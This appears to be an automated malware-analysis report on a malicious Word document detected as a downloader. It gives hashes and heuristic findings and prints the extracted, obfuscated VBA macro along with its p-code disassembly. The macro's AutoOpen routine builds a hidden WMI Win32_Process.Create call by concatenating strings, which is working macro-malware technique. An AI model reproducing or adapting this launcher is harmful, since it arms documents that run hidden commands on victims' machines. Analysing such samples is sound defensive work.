Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8eba23049d725aab…

MALICIOUS

Office (OLE)

184.6 KB Created: 2019-04-16 14:01:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 1bd5d282165e4cfb8cca6f1d10119e5d SHA-1: e80ae8843f02908d8ab0369e41b1193bb40b78ce SHA-256: 8eba23049d725aabd84b63f8cd4b079c78f26cde6f7bb8be1d2477df0c0d5127
210 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6941907-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6941907-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set o4oQAZBA = GetObject("wi" _
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set o4oQAZBA = GetObject("wi" _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32269 bytes
SHA-256: d9397ec8413f45bd826935a9f0c1cea4b715c09411ef076a81ae7f179265905b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NGDGxQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "S_AACXQD"
Attribute VB_Base = "0{70959F31-593E-412A-9A0A-39C4C314EA6D}{6640755B-1874-4CD3-A1C7-B1D09AB67CC9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "vcA4ABAQ"
Attribute VB_Base = "0{AECFE2FD-10A3-437B-96D2-F1210DFA7F95}{BB34A576-4813-4113-81DE-246BC69781BB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MZAACA"
Sub autoopen()
   If kAUAQ_AB = QXAAAAx Then
      Select Case jDBU_wDU
         Case 226449590
            WAB41AA = Rnd(rAAAAAAD + 677670062 + 2798646 / vwCAkACU)
            CADxX4 = CByte(pBDoAAXQ + 234393663 + lUwUZQAA + 868441809)
         Case 156554485
            wwAGAUk = LAXBBAXA
            AkAcUAA = Tan(NcAUU_A - CSng(LxAkDA))
      End Select
End If
   If rkQAZwAA = pAZAAAZ Then
      Select Case kA4ACA
         Case 80623455
            LBDDBk = Rnd(uAQDAA + 946247038 + 94711518 / dZAwAAU)
            NC4XAAAU = CByte(kDDcAQX + 578789574 + FAAUwZAD + 11133948)
         Case 433685152
            XDDAAkk = hAGQAXZ1
            s4AA4o = Tan(vkAUAQAA - CSng(IwA__x_B))
      End Select
End If
   If LxQDoAQQ = kQBAXAB Then
      Select Case zCQAoc
         Case 906699795
            qU4AoUB = Rnd(wAGXUQ + 675552437 + 571895460 / PUACAA)
            WkADcAkC = CByte(ooAZ1Q4A + 637281627 + Nw1DAXC + 777502892)
         Case 438121677
            QBAQwoG = WUAAUC
            OAD4Q1X = Tan(kAAXAGQ - CSng(RAQQUUw))
      End Select
End If
uBAGcC
   If qAXc1B = zQAAxDA Then
      Select Case wQXAXBAA
         Case 612525908
            vBC4XC = Rnd(zA_1A4Xc + 251468979 + 164549338 / H1AA_4B)
            nAGQABD4 = CByte(DX1DX_Z + 473168191 + tXDUwC + 632693492)
         Case 139213862
            iDQQXA = YxADwQB
            vwGCkQ4A = Tan(wQACwAo - CSng(jQA1UccQ))
      End Select
End If
   If ICocAA = YoAD4Ak Then
      Select Case w4DCAAA
         Case 337117213
            fAAAUA = Rnd(WAABCX + 680197576 + 909755657 / nUAUA4)
            pAA4AGA = CByte(hUBAXDx + 697198569 + TGA1AA + 591693543)
         Case 573806582
            JB_Z1kA = w4w_GxZD
            fQUA_AA = Tan(iXADADDQ - CSng(nDAQoD))
      End Select
End If
End Sub

Attribute VB_Name = "iBADUAkX"
Function uBAGcC()
On Error Resume Next
   If jQAcAU = sABGBADZ Then
      Select Case Fx1AQAxC
         Case 411757465
            NDBZ1_A = Rnd(nXAABUD + 952478814 + 254718867 / OAxxXADQ)
            Q1QZ4o1A = CByte(wBGXAAD + 433126122 + DGQQAZA + 546119096)
         Case 280958406
            TkQAAw = ZAQGAx
            rkCGAU = Tan(hQADDQAo - CSng(dUkAxxC))
      End Select
End If
   If jXDcQUA = XAAcX4QA Then
      Select Case nAQwAAAA
         Case 490152013
            j4BwCA4A = Rnd(zAAoAGZ + 748850684 + 32846237 / bxAAkCQ)
            MBcxQB = CByte(LCAAU1QA + 622645831 + YAA_UDA + 569507069)
         Case 647274870
            iDQcUAAo = RAQDAA
            HAZ4BUXA = Tan(i41GBU1 - CSng(Uo4cAw))
      End Select
End If
If 1337 < 24328 Then
zDAAA4 = vbFalse
   If fkD1cCDB = HAGAA1oB Then
      Select Case DQAckQU_
         Case 267900430
            nAAUkB = Rnd(LCZBo_B + 654686259 + 33754147 / sAxkGA)
            H_Ao1A = CByte(kZUXABk + 236626823 + zQZ1oGU + 42840483)
         Case 779844403
            v_AGAXxc = bADAAA
            PAQwkDU4 = Tan(iZAAkAQ - CSng(bUDkAB))
      End Select
End If
   If oBZkXQ1_ = hGC4BoB Then
      Select Case uAA_UQZ
         Case 886016921
            EAUAwC1 = Rnd(qAxXQkXA + 641145934 + 461356434 / lDUAAQkA)
            h_Awkw4U = CByte(sUXwo4 + 478848834 + sBAGGDD + 700174740)
         Case 733645371
            JXZA4BU = zACAokxA
            bAA1ZAw = Tan(txQo4A - CSng(JAAAwCUB))
      End Select
End If
   If iAAD_A = NwDAAA Then
      Select Case ikBkB1GD
         Case 685445527
            iBDBC4B = Rnd(uZD1AUQ + 651515606 + 597516920 / OZA1AB)
            PDcUQU = CByte(vUkBXkX + 919587838 + dXAZxZ + 70136136)
         Case 588458386
            rAGDB4 = wk1okA
            YAAA1A = Tan(ABAQD_ - CSng(OUQBAQ))
      End Select
End If
End If
   If noXQ1A = iA1AAAA Then
      Select Case skAcAk
         Case 265582499
            i1_1DA1 = Rnd(Hk1QAAk + 582778428 + 491036551 / VXUAQD)
            MkQAZBA = CByte(OBxAxQ + 775181243 + DDABA4cA + 39799378)
         Case 408605377
            nxACA_ = oCUAC1
            CUA4AA = Tan(dUAAC4QA - CSng(aQBkU1))
      End Select
End If
   If wCAABD = OCGoAA Then
      Select Case VXQAAA
         Case 460842524
            sGABxXB = Rnd(uQcUDU + 307478592 + 192520834 / YQ4CU_cB)
            YAZoAcAQ = CByte(mA4x1k + 96141938 + UBQkGB4A + 712929238)
         Case 711468451
            jZBBcA = TCQAGA
            fG4DcA = Tan(wQA1AAUB - CSng(F1xA1D))
      End Select
End If
   If EBXAAAAA = bAZA44c4 Then
      Select Case aBAU1QBw
         Case 552948732
            iBA1GXQ_ = Rnd(wU_oC4A + 119302525 + 480095146 / qD1AAQA)
            w44xCUA = CByte(VXABAQA4 + 534148571 + bDDXDQZA + 60945554)
         Case 858811649
            JAGDAAAB = JAC_wxQA
            lAABQU = Tan(vkADx_ - CSng(iAAAAQZA))
      End Select
End If
Set o4oQAZBA = GetObject("wi" _
+ "nm" + "gmt" + "s:Win3" _
+ "2_Proce" + "ssStartup")
   If MoAAAwAA = oADDDoD Then
      Select Case cAw1A_A
         Case 227743083
            zGAZBAA = Rnd(qDX4G_A + 79494433 + 23346212 / WAUoAAx)
            SXxAAA = CByte(qQXXAA1 + 505987945 + dB4DAD + 29615490)
         Case 986297633
            TQGAAQXA = OA41AZ
            bDUUDx = Tan(dcQAAAAo - CSng(sABk4A))
      End Select
End If
   If nkDkADBQ = aAAwwA Then
      Select Case WGwxUUQ
         Case 322290841
            lBGBkBU = Rnd(OXAoAAD + 530623240 + 891056744 / UBAGCk)
            kG4AXDAw = CByte(pQAx_C1 + 502249504 + fAoADoAo + 929048773)
         Case 978690508
            rGZAUo = aXUoDXXU
            U_ABAUQC = Tan(BC1UQQ - CSng(bQAAAx))
      End Select
End If
If 3621 < 89678 Then
   If MDAQQA = ikCDADZ Then
      Select Case Ux4ABXZ
         Case 89047669
            aAACkcQ = Rnd(qQQDXGAD + 957199421 + 8965280 / zAQkk1BG)
            XAUADoX = CByte(aQQwAoC + 411264618 + DQDAUZAC + 817790415)
         Case 987655874
            uQAAAU11 = F4wA_GCA
            CBkADQGU = Tan(TBUAoAcZ - CSng(GZCAA_))
      End Select
End If
   If nAQBBQ = JBoAkA Then
      Select Case wAXkQGA
         Case 439441163
            wA1cAoZG = Rnd(LBBkcZ + 23065767 + 144935449 / w1w4AZ)
            oDAAQoQU = CByte(rxA_4A + 309882724 + DkxGxB + 828542451)
         Case 975470484
            iwAQAA = t1GB14AA
            aU41A1x = Tan(VAQUAoBA - CSng(LBBAQAA))
      End Select
End If
   If P1AZAoD = kBDUoZ Then
      Select Case mXxwAG
         Case 892963349
            kZAoD_ = Rnd(qD4_UXAD + 640801826 + 373345029 / MDA4coc)
            t4xQwAB = CByte(RkQBAA + 101424653 + AXkQ1GZ + 954052853)
         Case 343572048
            uZ_AAC_ = IxwAAADG
            PZAQcU = Tan(QAx1AA - CSng(rAxUkcQ))
      End Select
End If
o4oQAZBA. _
ShowWindow = zDAAA4 + zDAAA4 + zDAAA4 + zDAAA4
   If tABGAU = SkAAUUQU Then
      Select Case Ix_4BQ
         Case 462072027
            sAUDcAAQ = Rnd(BxXAAAAD + 608150397 + 63145156 / HXoUAQAA)
            b4ADGx = CByte(HAoUAXCC + 304952245 + WBwDAZ + 491852711)
         Case 209057643
            XZwUA_4 = nQAUAZ
            zUAB_DU = Tan(QAoBXAD - CSng(WAAAUDUw))
      End Select
End If
   If wDZZoU_Q = WAc1AA Then
      Select Case hAZDXkQx
         Case 768046310
            DUA14_c = Rnd(DAA4ZXXG + 78179863 + 774593107 / WAZGZo)
            wBCAkAQ = CByte(UAAwAG1 + 989476102 + zABCc14 + 648384372)
         Case 660654145
            F4kQxwU = XAUwGcw
            TXG41A = Tan(uC4ZUo - CSng(PwCUA_A_))
      End Select
End If
End If
   If iCDQZcx = SAQAAw Then
      Select Case ScCADXZD
         Case 573583117
            XDAQAQX = Rnd(fZQAAAGc + 218290687 + 91735969 / TxcAAU1A)
            wGZAcQXc = CByte(vADBAAB + 461008088 + s_kADAA + 778868589)
         Case 905991429
            cDoBoAAC = MAUokGk1
            rAxBABAc = Tan(WDoBDA_1 - CSng(FZUA4A))
      End Select
End If
   If d1QxXAAo = fQAcQkAA Then
      Select Case XDABZoUo
         Case 732768627
            TAQxAAXB = Rnd(FXAkA1A + 678049655 + 635420486 / SkAwAG)
            XAAUcA = CByte(z1UoD4 + 311701760 + LAA4QX + 97348142)
         Case 928254123
            lkQAAG = uC_AoQXC
            VcAAkA = Tan(mUGQAAkw - CSng(KADXAQAD))
      End Select
End If
   If OUAXBA = mAAQxAQ Then
      Select Case QUABAAA
         Case 735657299
            jABBoAx = Rnd(OAwwAAQ + 636678677 + 543279448 / Fw4cUx)
            iCD_A1A = CByte(iAcxAD_X + 98259783 + PoQDDBD + 381202181)
         Case 810769199
            tA_XZX = vZABAU
            oAAQ4A = Tan(oXcU4A - CSng(B_1XBk))
      End Select
End If
GetObject("wi" _
+ "nm" + "gmt" + "s:Win3" _
+ "2_Proce" + "ss").Create S_AACXQD.WGUDA_.ControlTipText + vcA4ABAQ.zwAADBo + S_AACXQD.WGUDA_.PasswordChar + vcA4ABAQ.iQ44ck + S_AACXQD.WGUDA_.ControlTipText + S_AACXQD.WGUDA_.PasswordChar + vcA4ABAQ.nD1cQAA + S_AACXQD.WGUDA_.ControlSource + S_AACXQD.WGUDA_.ControlTipText + vcA4ABAQ.sAZxCU + S_AACXQD.WGUDA_.ControlSource + vcA4ABAQ.wGkokAA_ + S_AACXQD.WGUDA_.ControlTipText, wUBAoZo1, o4oQAZBA, S_AACXQD.WGUDA_
   If jBkAGoX = hB4wAkc Then
      Select Case LAkGAC
         Case 698611533
            jAZDocAD = Rnd(C4UAAQA + 398980818 + 574033172 / tcQBBUA)
            IDBDBBBQ = CByte(wwADZ_Q + 869671397 + pBkBAAAc + 533013322)
         Case 314367414
            FcZUx4_Z = lC11BAAD
            TDx4AAB = Tan(sxDxkk - CSng(pAAUBCDB))
      End Select
End If
   If cAU4DA = jUUDUX Then
      Select Case QAcCAA
         Case 263548877
            p1kAGX = Rnd(hAADAAD + 14178791 + 331320699 / hUQ1cAAD)
            wwcA_1BD = CByte(ZDQAU_XZ + 466511527 + AoZUAAxA + 914833736)
         Case 940692537
            pGBAxDow = ZAAoZoQ4
            VBCAZDUx = Tan(hxAGAUAU - CSng(dAxwUw))
      End Select
End If
   If BQB4GQA = wAA4U4 Then
      Select Case zwA_BU
         Case 919913163
            aA4xGDD = Rnd(iZUxBAA + 218959722 + 458710244 / GQ_AAA4A)
            TCcAxUA = CByte(iAcAx1 + 455150713 + kAACAA_ + 976810232)
         Case 295778396
            C_AAXw = zAAwoAkc
            XA1UwAU = Tan(pA4ADAD - CSng(EQoAAA))
      End Select
End If
End Function


' Processing file: /opt/analyzer/scan_staging/fc2715389d2f4b6dbda6a71fd1e7ea40.bin
' ===============================================================================
' Module streams:
' Macros/VBA/NGDGxQ - 1104 bytes
' Macros/VBA/S_AACXQD - 1159 bytes
' Macros/VBA/vcA4ABAQ - 1157 bytes
' Macros/VBA/MZAACA - 3398 bytes
' Line #0:
' 	FuncDefn (Sub MZAACA())
' Line #1:
' 	Ld autoopen 
' 	Ld kAUAQ_AB 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	Ld QXAAAAx 
' 	SelectCase 
' Line #3:
' 	LitDI4 0x58B6 0x0D7F 
' 	Case 
' 	CaseDone 
' Line #4:
' 	Ld WAB41AA 
' 	LitDI4 0x6CAE 0x2864 
' 	Add 
' 	LitDI4 0xB436 0x002A 
' 	Ld rAAAAAAD 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St jDBU_wDU 
' Line #5:
' 	Ld CADxX4 
' 	LitDI4 0x903F 0x0DF8 
' 	Add 
' 	Ld pBDoAAXQ 
' 	Add 
' 	LitDI4 0x5ED1 0x33C3 
' 	Add 
' 	Coerce (Byte) 
' 	St vwCAkACU 
' Line #6:
' 	LitDI4 0xD4F5 0x0954 
' 	Case 
' 	CaseDone 
' Line #7:
' 	Ld wwAGAUk 
' 	St lUwUZQAA 
' Line #8:
' 	Ld AkAcUAA 
' 	Ld NcAUU_A 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St LAXBBAXA 
' Line #9:
' 	EndSelect 
' Line #10:
' 	EndIfBlock 
' Line #11:
' 	Ld LxAkDA 
' 	Ld rkQAZwAA 
' 	Eq 
' 	IfBlock 
' Line #12:
' 	Ld pAZAAAZ 
' 	SelectCase 
' Line #13:
' 	LitDI4 0x375F 0x04CE 
' 	Case 
' 	CaseDone 
' Line #14:
' 	Ld LBDDBk 
' 	LitDI4 0x957E 0x3866 
' 	Add 
' 	LitDI4 0x2EDE 0x05A5 
' 	Ld uAQDAA 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St kA4ACA 
' Line #15:
' 	Ld NC4XAAAU 
' 	LitDI4 0xA0C6 0x227F 
' 	Add 
' 	Ld kDDcAQX 
' 	Add 
' 	LitDI4 0xE3FC 0x00A9 
' 	Add 
' 	Coerce (Byte) 
' 	St dZAwAAU 
' Line #16:
' 	LitDI4 0x82A0 0x19D9 
' 	Case 
' 	CaseDone 
' Line #17:
' 	Ld XDDAAkk 
' 	St FAAUwZAD 
' Line #18:
' 	Ld s4AA4o 
' 	Ld vkAUAQAA 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St hAGQAXZ1 
' Line #19:
' 	EndSelect 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	Ld IwA__x_B 
' 	Ld LxQDoAQQ 
' 	Eq 
' 	IfBlock 
' Line #22:
' 	Ld kQBAXAB 
' 	SelectCase 
' Line #23:
' 	LitDI4 0x2413 0x360B 
' 	Case 
' 	CaseDone 
' Line #24:
' 	Ld qU4AoUB 
' 	LitDI4 0x1CB5 0x2844 
' 	Add 
' 	LitDI4 0x6EA4 0x2216 
' 	Ld wAGXUQ 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St zCQAoc 
' Line #25:
' 	Ld WkADcAkC 
' 	LitDI4 0x255B 0x25FC 
' 	Add 
' 	Ld ooAZ1Q4A 
' 	Add 
' 	LitDI4 0xC0AC 0x2E57 
' 	Add 
' 	Coerce (Byte) 
' 	St PUACAA 
' Line #26:
' 	LitDI4 0x34CD 0x1A1D 
' 	Case 
' 	CaseDone 
' Line #27:
' 	Ld QBAQwoG 
' 	St Nw1DAXC 
' Line #28:
' 	Ld OAD4Q1X 
' 	Ld kAAXAGQ 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St WUAAUC 
' Line #29:
' 	EndSelect 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	ArgsCall RAQQUUw 0x0000 
' Line #32:
' 	Ld uBAGcC 
' 	Ld qAXc1B 
' 	Eq 
' 	IfBlock 
' Line #33:
' 	Ld zQAAxDA 
' 	SelectCase 
' Line #34:
' 	LitDI4 0x6754 0x2482 
' 	Case 
' 	CaseDone 
' Line #35:
' 	Ld vBC4XC 
' 	LitDI4 0x1CB3 0x0EFD 
' 	Add 
' 	LitDI4 0xD2DA 0x09CE 
' 	Ld zA_1A4Xc 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St wQXAXBAA 
' Line #36:
' 	Ld nAGQABD4 
' 	LitDI4 0xF93F 0x1C33 
' 	Add 
' 	Ld DX1DX_Z 
' 	Add 
' 	LitDI4 0x22F4 0x25B6 
' 	Add 
' 	Coerce (Byte) 
' 	St H1AA_4B 
' Line #37:
' 	LitDI4 0x3C26 0x084C 
' 	Case 
' 	CaseDone 
' Line #38:
' 	Ld iDQQXA 
' 	St tXDUwC 
' Line #39:
' 	Ld vwGCkQ4A 
' 	Ld wQACwAo 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St YxADwQB 
' Line #40:
' 	EndSelect 
' Line #41:
' 	EndIfBlock 
' Line #42:
' 	Ld jQA1UccQ 
' 	Ld ICocAA 
' 	Eq 
' 	IfBlock 
' Line #43:
' 	Ld YoAD4Ak 
' 	SelectCase 
' Line #44:
' 	LitDI4 0x001D 0x1418 
' 	Case 
' 	CaseDone 
' Line #45:
' 	Ld fAAAUA 
' 	LitDI4 0xFDC8 0x288A 
' 	Add 
' 	LitDI4 0xC509 0x3639 
' 	Ld WAABCX 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St w4DCAAA 
' Line #46:
' 	Ld pAA4AGA 
' 	LitDI4 0x67E9 0x298E 
' 	Add 
' 	Ld hUBAXDx 
' 	Add 
' 	LitDI4 0x86E7 0x2344 
' 	Add 
' 	Coerce (Byte) 
' 	St nUAUA4 
' Line #47:
' 	LitDI4 0x97F6 0x2233 
' 	Case 
' 	CaseDone 
' Line #48:
' 	Ld JB_Z1kA 
' 	St TGA1AA 
' Line #49:
' 	Ld fQUA_AA 
' 	Ld iXADADDQ 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St w4w_GxZD 
' Line #50:
' 	EndSelect 
' Line #51:
' 	EndIfBlock 
' Line #52:
' 	EndSub 
' Macros/VBA/iBADUAkX - 12269 bytes
' Line #0:
' 	FuncDefn (Function RAQQUUw())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld iBADUAkX 
' 	Ld jQAcAU 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	Ld sABGBADZ 
' 	SelectCase 
' Line #4:
' 	LitDI4 0xEB99 0x188A 
' 	Case 
' 	CaseDone 
' Line #5:
' 	Ld NDBZ1_A 
' 	LitDI4 0xAC5E 0x38C5 
' 	Add 
' 	LitDI4 0xB393 0x0F2E 
' 	Ld nXAABUD 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St Fx1AQAxC 
' Line #6:
' 	Ld Q1QZ4o1A 
' 	LitDI4 0xFAEA 0x19D0 
' 	Add 
' 	Ld wBGXAAD 
' 	Add 
' 	LitDI4 0x1DB8 0x208D 
' 	Add 
' 	Coerce (Byte) 
' 	St OAxxXADQ 
' Line #7:
' 	LitDI4 0x15C6 0x10BF 
' 	Case 
' 	CaseDone 
' Line #8:
' 	Ld TkQAAw 
' 	St DGQQAZA 
' Line #9:
' 	Ld rkCGAU 
' 	Ld hQADDQAo 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St ZAQGAx 
' Line #10:
' 	EndSelect 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	Ld dUkAxxC 
' 	Ld jXDcQUA 
' 	Eq 
' 	IfBlock 
' Line #13:
' 	Ld XAAcX4QA 
' 	SelectCase 
' Line #14:
' 	LitDI4 0x204D 0x1D37 
' 	Case 
' 	CaseDone 
' Line #15:
' 	Ld j4BwCA4A 
' 	LitDI4 0x8DFC 0x2CA2 
' 	Add 
' 	LitDI4 0x319D 0x01F5 
' 	Ld zAAoAGZ 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St nAQwAAAA 
' Line #16:
' 	Ld MBcxQB 
' 	LitDI4 0xD247 0x251C 
' 	Add 
' 	Ld LCAAU1QA 
' 	Add 
' 	LitDI4 0xFCFD 0x21F1 
' 	Add 
' 	Coerce (Byte) 
' 	St bxAAkCQ 
' Line #17:
' 	LitDI4 0xA176 0x2694 
' 	Case 
' 	CaseDone 
' Line #18:
' 	Ld iDQcUAAo 
' 	St YAA_UDA 
' Line #19:
' 	Ld HAZ4BUXA 
' 	Ld i41GBU1 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St RAQDAA 
' Line #20:
' 	EndSelect 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	LitDI2 0x0539 
' 	LitDI2 0x5F08 
' 	Lt 
' 	IfBlock 
' Line #23:
' 	Ld zDAAA4 
' 	St Uo4cAw 
' Line #24:
' 	Ld vbFalse 
' 	Ld fkD1cCDB 
' 	Eq 
' 	IfBlock 
' Line #25:
' 	Ld HAGAA1oB 
' 	SelectCase 
' Line #26:
' 	LitDI4 0xD60E 0x0FF7 
' 	Case 
' 	CaseDone 
' Line #27:
' 	Ld nAAUkB 
' 	LitDI4 0xB833 0x2705 
' 	Add 
' 	LitDI4 0x0C23 0x0203 
' 	Ld LCZBo_B 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St DQAckQU_ 
' Line #28:
' 	Ld H_Ao1A 
' 	LitDI4 0xA387 0x0E1A 
' 	Add 
' 	Ld kZUXABk 
' 	Add 
' 	LitDI4 0xB1A3 0x028D 
' 	Add 
' 	Coerce (Byte) 
' 	St sAxkGA 
' Line #29:
' 	LitDI4 0x7B33 0x2E7B 
' 	Case 
' 	CaseDone 
' Line #30:
' 	Ld v_AGAXxc 
' 	St zQZ1oGU 
' Line #31:
' 	Ld PAQwkDU4 
' 	Ld iZAAkAQ 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St bADAAA 
' Line #32:
' 	EndSelect 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Ld bUDkAB 
' 	Ld oBZkXQ1_ 
' 	Eq 
' 	IfBlock 
' Line #35:
' 	Ld hGC4BoB 
' 	SelectCase 
' Line #36:
' 	LitDI4 0x8B99 0x34CF 
' 	Case 
' 	CaseDone 
' Line #37:
' 	Ld EAUAwC1 
' 	LitDI4 0x1C4E 0x2637 
' 	Add 
' 	LitDI4 0xBD92 0x1B7F 
' 	Ld qAxXQkXA 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St uAA_UQZ 
' Line #38:
' 	Ld h_Awkw4U 
' 	LitDI4 0xA742 0x1C8A 
' 	Add 
' 	Ld sUXwo4 
' 	Add 
' 	LitDI4 0xD194 0x29BB 
' 	Add 
' 	Coerce (Byte) 
' 	St lDUAAQkA 
' Line #39:
' 	LitDI4 0x8A3B 0x2BBA 
' 	Case 
' 	CaseDone 
' Line #40:
' 	Ld JXZA4BU 
' 	St sBAGGDD 
' Line #41:
' 	Ld bAA1ZAw 
' 	Ld txQo4A 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St zACAokxA 
' Line #42:
' 	EndSelect 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	Ld JAAAwCUB 
' 	Ld iAAD_A 
' 	Eq 
' 	IfBlock 
' Line #45:
' 	Ld NwDAAA 
' 	SelectCase 
' Line #46:
' 	LitDI4 0x1197 0x28DB 
' 	Case 
' 	CaseDone 
' Line #47:
' 	Ld iBDBC4B 
' 	LitDI4 0x56D6 0x26D5 
' 	Add 
' 	LitDI4 0x6278 0x239D 
' 	Ld uZD1AUQ 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St ikBkB1GD 
' Line #48:
' 	Ld PDcUQU 
' 	LitDI4 0xCBFE 0x36CF 
' 	Add 
' 	Ld vUkBXkX 
' 	Add 
' 	LitDI4 0x3148 0x042E 
' 	Add 
' 	Coerce (Byte) 
' 	St OZA1AB 
' Line #49:
' 	LitDI4 0x2992 0x2313 
' 	Case 
' 	CaseDone 
' Line #50:
' 	Ld rAGDB4 
' 	St dXAZxZ 
' Line #51:
' 	Ld YAAA1A 
' 	Ld ABAQD_ 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St wk1okA 
' Line #52:
' 	EndSelect 
' Line #53:
' 	EndIfBlock 
' Line #54:
' 	EndIfBlock 
' Line #55:
' 	Ld OUQBAQ 
' 	Ld noXQ1A 
' 	Eq 
' 	IfBlock 
' Line #56:
' 	Ld iA1AAAA 
' 	SelectCase 
' Line #57:
' 	LitDI4 0x77A3 0x0FD4 
' 	Case 
' 	CaseDone 
' Line #58:
' 	Ld i1_1DA1 
' 	LitDI4 0x7E3C 0x22BC 
' 	Add 
' 	LitDI4 0x9F87 0x1D44 
' 	Ld Hk1QAAk 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St skAcAk 
' Line #59:
' 	Ld MkQAZBA 
' 	LitDI4 0x53BB 0x2E34 
' 	Add 
' 	Ld OBxAxQ 
' 	Add 
' 	LitDI4 0x4A52 0x025F 
' 	Add 
' 	Coerce (Byte) 
' 	St VXUAQD 
' Line #60:
' 	LitDI4 0xD2C1 0x185A 
' 	Case 
' 	CaseDone 
' Line #61:
' 	Ld nxACA_ 
' 	St DDABA4cA 
' Line #62:
' 	Ld CUA4AA 
' 	Ld dUAAC4QA 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St oCUAC1 
' Line #63:
' 	EndSelect 
' Line #64:
' 	EndIfBlock 
' Line #65:
' 	Ld aQBkU1 
' 	Ld wCAABD 
' 	Eq 
' 	IfBlock 
' Line #66:
' 	Ld OCGoAA 
' 	SelectCase 
' Line #67:
' 	LitDI4 0xE61C 0x1B77 
' 	Case 
' 	CaseDone 
' Line #68:
' 	Ld sGABxXB 
' 	LitDI4 0xC040 0x1253 
' 	Add 
' 	LitDI4 0xA282 0x0B79 
' 	Ld uQcUDU 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St VXQAAA 
' Line #69:
' 	Ld YAZoAcAQ 
' 	LitDI4 0x0272 0x05BB 
' 	Add 
' 	Ld mA4x1k 
' 	Add 
' 	LitDI4 0x6FD6 0x2A7E 
' 	Add 
' 	Coerce (Byte) 
' 	St YQ4CU_cB 
' Line #70:
' 	LitDI4 0x25A3 0x2A68 
' 	Case 
' 	CaseDone 
' Line #71:
' 	Ld jZBBcA 
' 	St UBQkGB4A 
' Line #72:
' 	Ld fG4DcA 
' 	Ld wQA1AAUB 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St TCQAGA 
' Line #73:
' 	EndSelect 
' Line #74:
' 	EndIfBlock 
' Line #75:
' 	Ld F1xA1D 
' 	Ld EBXAAAAA 
' 	Eq 
' 	IfBlock 
' Line #76:
' 	Ld bAZA44c4 
' 	SelectCase 
' Line #77:
' 	LitDI4 0x53FC 0x20F5 
' 	Case 
' 	CaseDone 
' Line #78:
' 	Ld iBA1GXQ_ 
